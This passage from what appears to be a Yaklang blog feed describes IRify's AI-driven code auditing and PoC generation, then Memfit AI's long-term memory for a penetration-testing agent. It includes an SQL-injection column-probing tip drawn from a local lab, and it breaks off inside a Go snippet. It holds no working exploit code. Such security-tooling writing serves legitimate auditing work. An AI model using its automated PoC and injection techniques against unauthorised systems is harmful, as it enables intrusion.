<p>目前在 IRify 中有两个入口：</p>
<p>1.在项目编译的右下角选择：进行AI审计（前端需要更新，后续版本会修复）</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/83a3543ffb1e4853-a6bfdd4336502d3001562c4534d09cbb.png" width="1080" height="578" class="yakdoc-image"></button></p>
<p>2.在 AI Agent 页面选择专注模式：代码安全审计</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/81eebe577bd92d14-564aee6899cf02f0a09c69bd380dddeb.png" width="1080" height="731" class="yakdoc-image"></button></p>
<p>审计状态贯穿四个阶段，记录项目名称与路径、技术栈与入口点摘要、侦察报告路径与笔记文件列表、扫描阶段的结构化发现列表、各类别扫描的观察与不确定线索、验证阶段的确认与排除结论、以及最终报告内容与路径。</p>
<p>接下来我们就使用 Yaklang 的内置靶场进行测试。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="第一阶段项目探索">第一阶段：项目探索<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E7%AC%AC%E4%B8%80%E9%98%B6%E6%AE%B5%E9%A1%B9%E7%9B%AE%E6%8E%A2%E7%B4%A2" class="hash-link" aria-label="第一阶段：项目探索的直接链接" title="第一阶段：项目探索的直接链接" translate="no">​</a></h2>
<p>主编排器并不亲自完成目录巡视，而是创建一个“目录探索”类的子循环，把侦察笔记的预期输出路径和探索工作目录通过变量传进去，然后用独立的子任务执行该循环。</p>
<p>在探索过程中，程序会先阅读 go.mod 读取依赖，然后利用各种内置工具获取项目结构。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/b79ea124a2e372d6-1a74775bcd7be2d8cfb78ed98c10fa29.png" width="1080" height="273" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/bf0ae8e8293c81ef-913bacd7f9f5e5b0c0195fbd2e610bbc.png" width="1080" height="519" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/eaf5795561037c45-23d045f2b463c0a33e049cce490ad601.png" width="1080" height="425" class="yakdoc-image"></button></p>
<p>探索结束后，主编排器从子循环的命名变量里回收结果：真实项目路径与名称、技术栈描述、入口点摘要、汇总侦察报告文件路径、以及探索过程中通过写文件产生的笔记路径列表等，并写回共享审计状态。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d717291720a15f03-bf09277668f1875280657b62531cfe57.png" width="1080" height="581" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="第二阶段扫描计划加按类别串行的双阶段审计">第二阶段：扫描计划加按类别串行的双阶段审计<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E7%AC%AC%E4%BA%8C%E9%98%B6%E6%AE%B5%E6%89%AB%E6%8F%8F%E8%AE%A1%E5%88%92%E5%8A%A0%E6%8C%89%E7%B1%BB%E5%88%AB%E4%B8%B2%E8%A1%8C%E7%9A%84%E5%8F%8C%E9%98%B6%E6%AE%B5%E5%AE%A1%E8%AE%A1" class="hash-link" aria-label="第二阶段：扫描计划加按类别串行的双阶段审计的直接链接" title="第二阶段：扫描计划加按类别串行的双阶段审计的直接链接" translate="no">​</a></h2>
<p>第二阶段本身又分为两层：外层的类别编排与内层单个类别的 ReAct 扫描。</p>
<p>外层首先用一次偏“快”的模型调用，让 AI 在结构化输出中确定本次要扫哪些默认漏洞类别、用户是否额外指定了自定义类别（带关键词与补充说明）。若这次规划失败，则退回内置默认类别全集，保证流程不中断。</p>
<p>每一个漏洞类别采用两段式策略：</p>
<ul>
<li class="">第一段是关键词搜索阶段：模型根据该类别的 Sink 语义提示和技术栈，自行决定 grep 策略，强调用“仅返回匹配文件”的模式避免结果被截断遗漏；每搜一轮就把命中文件的绝对路径通过专用动作合并进待审计列表，并可继续多轮搜索。</li>
<li class="">第二段是逐文件审计阶段：对上一段锁定的每个文件依次读取内容，若确认存在问题则提交结构化 finding，其中对置信度有下限要求，过低会被拒绝以抑制随手报漏洞。</li>
</ul>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/23a61e548bdeefc8-fe7cb8fe51741286d5b2d0e360960f23.png" width="1080" height="198" class="yakdoc-image"></button></p>
<p>上图为关键词搜索第一段的截图，程序先找到了<code>vul_cmdi.go</code> 等明显包含漏洞示例的高风险文件，然后进入第二段逐行搜索。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/51e9edd1e0baf5f1-2e3c8f9bc21e0b7627700b5fe8c75d53.png" width="1080" height="592" class="yakdoc-image"></button></p>
<p>通过工具阅读可能有问题的代码片段，交给AI完成进行审计。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="第三阶段逐条验证与证据记录">第三阶段：逐条验证与证据记录<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E7%AC%AC%E4%B8%89%E9%98%B6%E6%AE%B5%E9%80%90%E6%9D%A1%E9%AA%8C%E8%AF%81%E4%B8%8E%E8%AF%81%E6%8D%AE%E8%AE%B0%E5%BD%95" class="hash-link" aria-label="第三阶段：逐条验证与证据记录的直接链接" title="第三阶段：逐条验证与证据记录的直接链接" translate="no">​</a></h2>
<p>验证阶段的专用动作主要包括几类：</p>
<p>1.沿数据流逐步记录追踪节点，把步骤、变量、位置、推断来源类型等记进时间线</p>
<p>2.记录认为的过滤或校验及有效性判断</p>
<p>3.对某个 finding 给出最终结论，只能从确认、排除、需人工确认三种状态里选，并附带置信度与理由，可选地精炼数据流、利用方式与修复建议</p>
<p>4.再次读取侦察背景报告</p>
<p>5.当全部 finding 都有了结论后调用完成验证并退出本阶段</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="第四阶段报告生成与兜底">第四阶段：报告生成与兜底<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E7%AC%AC%E5%9B%9B%E9%98%B6%E6%AE%B5%E6%8A%A5%E5%91%8A%E7%94%9F%E6%88%90%E4%B8%8E%E5%85%9C%E5%BA%95" class="hash-link" aria-label="第四阶段：报告生成与兜底的直接链接" title="第四阶段：报告生成与兜底的直接链接" translate="no">​</a></h2>
<p>系统创建“报告生成”类的子循环，把最终 Markdown 报告路径、写作任务说明、以及必须阅读的参考文件列表注入子循环变量，由专门写长文的循环读入这些数据并写入磁盘。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/20df50f99b07d507-9b9cd2d42d98a765cac782cc6ba496c8.png" width="1080" height="208" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="基于风险的代码审计">基于风险的代码审计<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E5%9F%BA%E4%BA%8E%E9%A3%8E%E9%99%A9%E7%9A%84%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1" class="hash-link" aria-label="基于风险的代码审计的直接链接" title="基于风险的代码审计的直接链接" translate="no">​</a></h2>
<p>除了纯AI的代码审计以外，IRify 还支持利用现有的风险信息进行代码审计。对于这种精确又轻量级的功能我们选择使用 forge 实现。</p>
<p>例如我们已经对某个项目完成了扫描，得到了如下的风险信息：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7dae1abb4c56c4b5-74f61777e1f9aef4ed6ba5df8cad3726.png" width="1080" height="341" class="yakdoc-image"></button></p>
<p>现在我们想对序号为1的高危风险 “检测到Golang服务器端模板注入漏洞” 进行AI审计，就可以在 AI Agent 的工具库中搜索<code>ssa-risk</code>找到目标，点击后在弹窗页面输入风险序号：1</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/7c9e1f848cbbe73a-01e36a672ceb360ca7046933be0f4c4d.png" width="1080" height="569" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d8713eb52aac4167-fb5d01810bf292a709a5b947ff1c4cb9.png" width="1080" height="378" class="yakdoc-image"></button></p>
<p>执行完成后AI会返回一个简单的漏洞解析报告。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="风险智能生成poc样例">风险智能生成Poc样例<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E9%A3%8E%E9%99%A9%E6%99%BA%E8%83%BD%E7%94%9F%E6%88%90poc%E6%A0%B7%E4%BE%8B" class="hash-link" aria-label="风险智能生成Poc样例的直接链接" title="风险智能生成Poc样例的直接链接" translate="no">​</a></h2>
<p>目前 IRify 中内置了 python 和 yak 这两种语言的代码构造器，可以生成没有语法错误的正确代码，结合对风险的代码审计功能（工具库中的<code>ssa-risk</code>），即可直接根据风险生成Poc样例。</p>
<p>在已有静态分析风险结果的前提下，用多步推理把「风险元数据 + 源码/片段上下文 + 漏洞类型」转成「能拿去授权环境里做验证的概念验证脚本」。在技能库中搜索“根据SSA Risk智能生成Poc”，点击后在弹窗配置需要审计的风险序列号后即可开始生成Poc样例。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/daad5a2670df5e54-32bef3d3b076a9d45278bc5d009af81a.png" width="1080" height="724" class="yakdoc-image"></button></p>
<p>程序会先运行一次<code>ssa-risk</code>审计风险相关内容，之后程序会从如下几个方向进行思考：</p>
<p>1.判断源码能不能跟</p>
<p>看关联项目是不是内存编译、有没有源码：能跟就继续用 listing/grep/read 补全路由和调用链；不能跟就主要依赖 Risk 里自带的代码片段。</p>
<p>2.补上下文（可选）</p>
<p>在可读源码时，按需列目录、搜路由/配置、读关键文件，把「真实入口、方法、参数、鉴权」抠出来。</p>
<p>3.分类 + 攻击面分析</p>
<p>把风险归到 SQLi/XSS/SSRF 等具体利用思路，对齐数据流，定 Poc 技术路线（这一步侧重分析，不要求先写长文）。</p>
<p>4.找 Poc 模板</p>
<p>用模板检索工具按漏洞类型拿 Python 侧的请求构造、解析结果等骨架，减少AI幻觉。</p>
<p>下面图片中展示了程序判断目标项目是否可达和进行数据流分析的过程：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/cd9a963b449f6362-2d26cad81a82e8504985e09dc7f05e42.png" width="1080" height="707" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/825247eb931e92f5-d463431fa6ffca7e92647751fdf94058.png" width="1080" height="730" class="yakdoc-image"></button></p>
<p>本系统支持在参数<code>target_base_url</code>中配置目标项目的<strong>真实运行环境地址</strong>（如<code>http://your-app:8080</code>），系统将自动执行智能化安全分析验证流程，最终会生成报告和Poc样例代码：</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/20cee84f92672f87-43e9bdde0d6f215b3bc145c6da7d1a84.png" width="1080" height="665" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="syntaxflow规则美化">Syntaxflow规则美化<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#syntaxflow%E8%A7%84%E5%88%99%E7%BE%8E%E5%8C%96" class="hash-link" aria-label="Syntaxflow规则美化的直接链接" title="Syntaxflow规则美化的直接链接" translate="no">​</a></h2>
<p>这里的「美化」主要指把一份<code>.sf</code> 规则文本按统一规范重新排版输出：缩进、换行、<code>desc</code> / <code>alert</code> 与规则体的结构会更整齐；在带选项时还可以补全或规范化元数据（例如规则 ID、描述里要求的字段等）。</p>
<p>目前 Syntaxflow 规则美化有两个入口：新建规则右上角，代码审计的规则编写页面右上角。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d29f055eac2743fc-ea84019f8faaeae86643d460b4f6f4d4.png" width="1080" height="452" class="yakdoc-image"></button></p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/d0663e208b9b2b72-232d360dfea5bb334878701021ff50d0.png" width="1080" height="337" class="yakdoc-image"></button></p>
<p>需要注意的是：在美化开始之前需要保证当前的规则没有语法错误，因为我们会在美化开始前后结束后各运行一次 Syntaxflow 语法检测以保证美化本身不会破坏规则的语法。并且规则美化采用了严格元数据替换逻辑，不用担心会破坏规则本身的内容。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="syntaxflow-规则自动生成">Syntaxflow 规则自动生成<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#syntaxflow-%E8%A7%84%E5%88%99%E8%87%AA%E5%8A%A8%E7%94%9F%E6%88%90" class="hash-link" aria-label="Syntaxflow 规则自动生成的直接链接" title="Syntaxflow 规则自动生成的直接链接" translate="no">​</a></h2>
<p>该功能会在内置规则样例知识包上做检索，再结合单文件编辑工具链和 SyntaxFlow 编译校验，迭代写出合法的 <code>.sf</code>文件</p>
<p>在AI Agent页面选择专注模式：write_syntaxflow_rule</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/8be718f3358fe4e1-17aa2a711e82673e7fbf03a1f732108b.png" width="611" height="528" class="yakdoc-image"></button></p>
<p>系统行为：抽取样例（语言/虚拟文件名/代码正文）并保存 → 生成规则时把样例作为 UNSAFE 正例测试块嵌入规则末尾 → 生成后必须用语法/样例命中校验做自检，不通过就迭代修改直到通过。</p>
<p>1.知识检索</p>
<ul>
<li class="">
<p>压缩包检索：在 <code>syntaxflow-aikb</code> 里按模式搜命中片段（带上下文）。</p>
</li>
<li class="">
<p>向量检索（有则启用）：用多句完整问句查 <code>syntaxflow-aikb-rag</code>，结果去重并 重排（更偏向带可执行规则特征的内容，弱化纯长文说明）。</p>
</li>
</ul>
<p>2.知识压缩</p>
<ul>
<li class="">把 grep + RAG 拼起来的原始结果往往很大，会先合并成一大段文本，再调用 面向当前需求与搜索条件的压缩（按实现里约 10KB 量级 的目标压一版）。</li>
</ul>
<p>3.落盘与钉文件</p>
<ul>
<li class="">有漏洞样例会先写成临时样例文件；然后要么打开用户指定的 <code>.sf</code>，要么新建一个空<code>.sf</code> 生成稿，并把路径固定为后续编辑目标。</li>
</ul>
<p>4.多轮写改 + 校验</p>
<ul>
<li class="">模型用写/改规则等动作维护规则正文；每次改动会走 SyntaxFlow 语法与格式诊断（有误则阻断继续乱改）。若带了样例，还会用 check-syntaxflow-syntax 做正例自检，直到规则在样例上能按预期命中。</li>
</ul>
<p>使用方法直接输入一段漏洞样例代码，它就会自动完成 Syntaxflow 规则并且进行语法检测和可用性检查，最后会进行规则打分。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/c3822ad8d203d2b0-f16217f104d221c9d36b917fa9bd15c6.png" width="1080" height="328" class="yakdoc-image"></button></p>
<p>可以在文件树中找到生成的 Syntaxflow 规则。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="未来的扩展">未来的扩展<a href="https://yaklang.com/blog/ai-powered-irify-and-auto-poc-generation#%E6%9C%AA%E6%9D%A5%E7%9A%84%E6%89%A9%E5%B1%95" class="hash-link" aria-label="未来的扩展的直接链接" title="未来的扩展的直接链接" translate="no">​</a></h2>
<p>现有的 AI 代码审计仍然有许多代码难点没有攻克，受到模型质量和上下文限制的影响，AI 审计在面对大项目时表现不佳，核心问题就是稳定性太低，多少审计很难输出相同的结果。我们正在尝试用稳定的代码扫描风险产物来为不稳定的纯 AI 代码审计补充支撑。</p>
<p>IRify 代表了代码安全审计向<strong>智能化、自动化、精准化</strong>发展的趋势。通过 Yaklang 的 AI ReAct 体系，将人类专家的经验模式与 AI 的快速分析能力相结合，构建了新一代安全分析平台的核心能力。系统将持续优化在复杂项目、多语言支持、云原生环境等场景下的表现，为软件安全开发生命周期提供更全面的智能支持。</p>
<hr>
<blockquote>
<p>本文首发于 Yak Project 公众号，<a href="https://mp.weixin.qq.com/s/tO3iJPShoAEjp7UZB4Ws6w" target="_blank" rel="noopener noreferrer" class="">阅读原文</a>。</p>
</blockquote>]]></content:encoded>
            <category>2026 年</category>
            <category>代码审计</category>
            <category>AI</category>
            <category>漏洞检测与插件</category>
        </item>
        <item>
            <title><![CDATA[技术研究：Memfit AI 长期记忆系统与 C.O.R.E.P.A.C.T. 评估模型]]></title>
            <link>https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation</link>
            <guid>https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation</guid>
            <pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[本文介绍 Memfit AI 的长期记忆机制与 C.O.R.E.P.A.C.T. 七维评估模型，说明记忆如何经过质量筛选、上下文加权、意图路由和分块注入后被 Agent 使用。]]></description>
            <content:encoded><![CDATA[<p>在上一篇文章中<a href="https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247529575&amp;idx=1&amp;sn=cd0b7de7036ee8e812cbdc8fb4fc840a&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" class="">Memfit AI 专业记忆:Agent 动手之前,先翻了一遍你的知识库</a>, 我们解决了 Agent 的“见识”问题。通过内置的知识库系统,Agent在执行攻击前,能够像资深专家一样先翻阅企业的私有测试和规范文件,确保自己的行动不脱离合规基线。</p>
<p>但作为一名真正的生产级 Agent,仅仅“有见识”是不够的。</p>
<p><strong>知识库是别人给的经验,而记忆是自己实践的成果。</strong></p>
<p>在长达数小时的连续渗透中,Agent 会遇到无数教科书和规范里没有写的“暗坑”:比如某个特定业务系统的异常报错、某个只有在特定内核版本下才会触发的 Payload 偏移、或者是某次成功提权后的环境特征。</p>
<p>如果这些实战经验随看随忘,那么下一次遇到同样的阻碍,Agent 还要重新走一遍 RAG 检索、重新分析、重新试错。这种低效的重复,是阻碍 AI 迈向“专家级”的最后一道坎。</p>
<p><strong>我们需要 Agent 不仅能“翻书”,还能在实战中“吃一堑,长一智”。</strong></p>
<p>本篇文章,我们将深入探讨 Memfit AI 的<strong>长期记忆(Long-term Memory)系统</strong>。你会看到,Agent 如何在执行任务的过程中,自主地对攻击路径进行复盘,并通过一套严苛的 **C.O.R.E.P.A.C.T.**评估模型,将零散的执行日志炼化为结构化的“肌肉记忆”。</p>
<p>当 Agent 再次站在类似的战场前,它不再需要去知识库里大海捞针,而是能直接凭借这种“长期记忆”,避开坑点。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="corepact-模型">C.O.R.E.P.A.C.T. 模型<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#corepact-%E6%A8%A1%E5%9E%8B" class="hash-link" aria-label="C.O.R.E.P.A.C.T. 模型的直接链接" title="C.O.R.E.P.A.C.T. 模型的直接链接" translate="no">​</a></h2>
<p>开发者最头疼的就是“上下文爆炸”。若将每一句对话和回显都存入 RAG,知识库很快会变成噪音堆。Memfit AI 引入了 <strong>C.O.R.E. P.A.C.T.</strong> 审计算法,在记忆沉淀前进行价值审计。</p>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fc4af52df896197d-a2df19489bf526686459dbc5a75719fb.png" width="1080" height="525" class="yakdoc-image"></button></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="记忆评估的七个维度">记忆评估的七个维度<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E8%AE%B0%E5%BF%86%E8%AF%84%E4%BC%B0%E7%9A%84%E4%B8%83%E4%B8%AA%E7%BB%B4%E5%BA%A6" class="hash-link" aria-label="记忆评估的七个维度的直接链接" title="记忆评估的七个维度的直接链接" translate="no">​</a></h2>













































<div class="yakdoc-table"><button type="button" class="yakdoc-table__toggle" aria-expanded="false" aria-label="展开表格">展开</button><div class="yakdoc-table__scroll"><table><thead><tr><th>维度</th><th>定义</th><th>实战逻辑</th></tr></thead><tbody><tr><td><strong>C</strong>onnectivity</td><td><strong>关联度</strong></td><td>该信息能否钩住资产拓扑?(如:IP 与子网、业务系统的关联性)</td></tr><tr><td><strong>O</strong>rigin</td><td><strong>确定性</strong></td><td>信息的来源可靠吗?(whoami的回显 O=1.0;视觉猜测的后台 O 值较低)</td></tr><tr><td><strong>R</strong>elevance</td><td><strong>相关性</strong></td><td>未来复用的概率多大?(Session ID 相关性低,Struts2 绕过 Payload 相关性极高)</td></tr><tr><td><strong>E</strong>motion</td><td><strong>敏感度</strong></td><td>交互的优先级。连续失败的“挫败感”或成功的“转折点”会被加权记录。</td></tr><tr><td><strong>P</strong>reference</td><td><strong>偏好约束</strong></td><td>是否符合“静默渗透”等甲方约束?不合规的动作记忆将被压低权重。</td></tr><tr><td><strong>A</strong>ctionability</td><td><strong>可操作性</strong></td><td>是废话还是指令?包含完整 sqlmap 或 curl 参数的记录 A 值会很高。</td></tr><tr><td><strong>T</strong>emporality</td><td><strong>时效性</strong></td><td>经验的保质期。资产 IP 会变，但漏洞补丁逻辑变动慢，动态清理过期记忆。</td></tr></tbody></table></div></div>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="案例注入记忆">案例:SQL注入记忆<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E6%A1%88%E4%BE%8B%E6%B3%A8%E5%85%A5%E8%AE%B0%E5%BF%86" class="hash-link" aria-label="案例:SQL注入记忆的直接链接" title="案例:SQL注入记忆的直接链接" translate="no">​</a></h2>
<p>这是一个我对vulinbox靶场的SQL检测产生的记忆案例图。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1618bb53399e943a-6972617e60b39cb8386005cc88a6df5b.png" width="700" height="1354" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<p>以针对 <code>http://127.0.0.1:8787</code> 的 SQL 注入检测为例。通用 AI 只会复现 <code>ORDER BY</code> 的标准动作,但 Memfit AI 沉淀了如下记忆:</p>
<blockquote>
<p><strong>记忆摘要:</strong> 在联合查询探测失败(列数不匹配)时,应优先使用 <code>ORDER BY</code> 子句从 1 开始递增探测以确定正确的列数,而非直接尝试构造 Union Select Payload</p>
</blockquote>
<p>除了这个记忆以外 还有一些更具体的记忆。</p>
<p><button type="button" class="yakdoc-figure" data-layout="tall" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/1e5005305522079f-be839a3b0d6f7a4db221814fba5747a8.png" width="680" height="1396" class="yakdoc-image"><span class="yakdoc-expand-hint" aria-hidden="true"><span class="yakdoc-expand-hint__text">长图已折叠</span><span class="yakdoc-expand-hint__button">点击展开</span></span></button></p>
<blockquote>
<p><strong>记忆摘要:</strong> 针对靶场目标,memfit已经探测过是 9 列数据库</p>
</blockquote>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="维度过滤逻辑雷达图分析">维度过滤逻辑(雷达图分析)<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E7%BB%B4%E5%BA%A6%E8%BF%87%E6%BB%A4%E9%80%BB%E8%BE%91%E9%9B%B7%E8%BE%BE%E5%9B%BE%E5%88%86%E6%9E%90" class="hash-link" aria-label="维度过滤逻辑(雷达图分析)的直接链接" title="维度过滤逻辑(雷达图分析)的直接链接" translate="no">​</a></h4>
<p>通过 Memfit 独有的评估模型,我们可以看到这条记忆为何被视为“黄金经验”:</p>
<ul>
<li class="">**O(来源可靠性)-0.9:**该策略源于 Agent 在实战中遭遇的“探测失败”。失败的回显是真实的数据反馈,可靠性极高。</li>
<li class=""><strong>A(经验价值)-0.8:这不是废话,它给出了明确的</strong>替代动作**(从1开始递增探测)。这类具有“可操作性”的记忆是 Agent 进化的燃料。</li>
<li class=""><strong>R(重要性)-0.8:确定列数是 SQL 注入的基石。记住这个策略,意味着 Agent 在未来的所有同类任务中,都能规避“盲目构造 Payload”的时间浪费。</strong></li>
<li class=""><strong>C(关联度)-0.8:它被贴上了</strong><code>sql-injection</code> 和 <code>testing-methodology</code> 的标签,能精准钩住后续所有涉及数据库探测的资产。</li>
</ul>
<h4 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="问题索引索引记忆">问题索引:索引记忆<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E9%97%AE%E9%A2%98%E7%B4%A2%E5%BC%95%E7%B4%A2%E5%BC%95%E8%AE%B0%E5%BF%86" class="hash-link" aria-label="问题索引:索引记忆的直接链接" title="问题索引:索引记忆的直接链接" translate="no">​</a></h4>
<p>还有一个值得一提的设计在于记忆底部的 <strong>Potential Questions(潜在问题)</strong>。Memfit AI 在存储记忆时,会自动预判未来自己可能会问的问题:</p>
<p><em>1.“当联合查询探测失败时,如何确定数据库返回的列数?”</em></p>
<p><em>2.“SQL 注入中 ORDER BY 探测的具体执行步骤是什么?”</em></p>
<p><strong>这意味着什么?</strong></p>
<p>当下一次 Agent 在新任务中遇到“联合查询报错”时,它脑中会产生类似的疑问。系统会瞬间匹配到这些“潜在问题”,将这条的记忆加入当上下文中,帮助AI回忆起之前的经验。</p>
<p><strong>Agent 不再是在搜数据库,而是在“回想”自己的成功经验。</strong></p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="记忆的唤起与使用">记忆的唤起与使用<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E8%AE%B0%E5%BF%86%E7%9A%84%E5%94%A4%E8%B5%B7%E4%B8%8E%E4%BD%BF%E7%94%A8" class="hash-link" aria-label="记忆的唤起与使用的直接链接" title="记忆的唤起与使用的直接链接" translate="no">​</a></h2>
<p><button type="button" class="yakdoc-figure" data-layout="standard" aria-label="点击放大: image"><img decoding="async" loading="lazy" alt="image" src="https://yaklang.com/assets/images/fce952984c0fe17e-f166ba61dcb859c747f126aee54cc385.png" width="1080" height="511" class="yakdoc-image"></button></p>
<p>有了合理的记忆设计,还有一道门槛如何在某一个时间在合理的位置到找合适的记忆。</p>
<p>Memfit AI 的 <code>AIMemoryTriage</code>(记忆分选器)通过一套严密的加权重排算法,将静态的 C.O.R.E. P.A.C.T. 理论转化为了生产环境中的<strong>实时决策流</strong>。</p>
<h2 class="anchor anchorTargetHideOnScrollNavbar_vjPI" id="基本要求粗筛有意义的记忆">基本要求：粗筛有意义的记忆<a href="https://yaklang.com/blog/memfit-long-term-memory-and-corepact-evaluation#%E5%9F%BA%E6%9C%AC%E8%A6%81%E6%B1%82%E7%B2%97%E7%AD%9B%E6%9C%89%E6%84%8F%E4%B9%89%E7%9A%84%E8%AE%B0%E5%BF%86" class="hash-link" aria-label="基本要求：粗筛有意义的记忆的直接链接" title="基本要求：粗筛有意义的记忆的直接链接" translate="no">​</a></h2>
<p>我们为记忆设定了七个维度的权重。先从海量的记忆中排除各种过于极端偏激,或者无意义的经验指导,初步完成记忆寻找。</p>
<div class="language-go codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-go codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">weights </span><span class="token operator" style="color:#393A34">:=</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">map</span><span class="token punctuation" style="color:#393A34">[</span><span class="token builtin">string</span><span class="token punctuation" style="color:#393A34">]</span><span class="token builtin">float64</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"R"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.25</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// Relevance - 核心相关性,决定了搜索的基调</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token string" style="color:#e3116c">"C"</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0.20</span><span class="token punctuation" 